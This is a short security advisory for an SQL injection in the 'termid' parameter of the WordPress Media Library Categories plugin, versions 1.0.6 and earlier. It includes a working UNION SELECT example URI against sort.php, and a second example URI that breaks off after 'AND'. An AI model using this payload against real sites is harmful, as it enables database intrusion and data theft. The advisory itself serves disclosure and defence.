WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability

Bugtraq ID:	49062
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 06 2011 12:00AM
Updated:	Aug 06 2011 12:00AM
Credit:	Miroslav Stampar
Vulnerable:	WordPress Media Library Categories 1.0.6 WordPress Media Library Categories 1.0.5 WordPress Media Library Categories 1.0.4
Not Vulnerable:

WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability

The Media Library Categories plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Media Library Categories versions 1.0.6 and prior are vulnerable.

WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI's are available:

http://www.example.com/wp-content/plugins/media-library-categories/sort.php?termid=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
http://www.example.com/wp-content/plugins/media-library-categories/sort.php?termid=1 AND

WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].

WordPress Media Library Categories Plugin 'termid' Parameter SQL Injection Vulnerability

References:

• Product Homepage (wordpress)
  
• Wordpress church_admin Plugin "id" Cross-Site Scripting Vulnerability (Sammy Forgit)